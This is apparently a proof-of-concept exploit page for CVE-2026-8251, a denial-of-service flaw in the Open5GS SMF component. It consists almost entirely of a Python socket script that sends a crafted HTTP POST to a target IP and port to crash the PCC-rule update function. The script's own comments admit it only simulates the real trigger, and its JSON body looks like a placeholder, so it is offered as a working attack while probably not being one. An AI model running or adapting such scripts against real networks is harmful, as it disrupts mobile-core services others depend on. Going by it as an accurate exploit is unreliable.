CVE-2026-8251 Open5GS拒绝服务漏洞

import socket import sys """ PoC for CVE-2026-8251 (Open5GS DoS Vulnerability) This script sends a crafted payload to trigger the DoS in update_authorized_pcc_rule_and_qos. Target: Open5GS SMF component Usage: python poc.py <target_ip> <target_port> """ def send_exploit(target_ip, target_port): # Simulating a malformed request targeting the vulnerable function # In a real scenario, this would be a specific protocol message (e.g., HTTP/Diameter) # triggering the logic flaw in PCC rule update. payload_header = b"POST /npcf-handler HTTP/1.1\r\n" payload_header += b"Host: open5gs-smf\r\n" payload_header += b"Content-Type: application/json\r\n" payload_header += b"Content-Length: 50\r\n\r\n" # Malformed data structure designed to crash the update_authorized_pcc_rule_and_qos function malicious_body = b'{"pcc_rule": {"qos": {"invalid": "crash_trigger"}}}' full_payload = payload_header + malicious_body try: print(f"[*] Connecting to {target_ip}:{target_port}...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((target_ip, target_port)) print("[*] Sending malicious payload...") s.send(full_payload) s.close() print("[+] Payload sent successfully. Check service availability.") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": if len(sys.argv) != 3: print("Usage: python3 poc.py <IP> <PORT>") else: send_exploit(sys.argv[1], int(sys.argv[2]))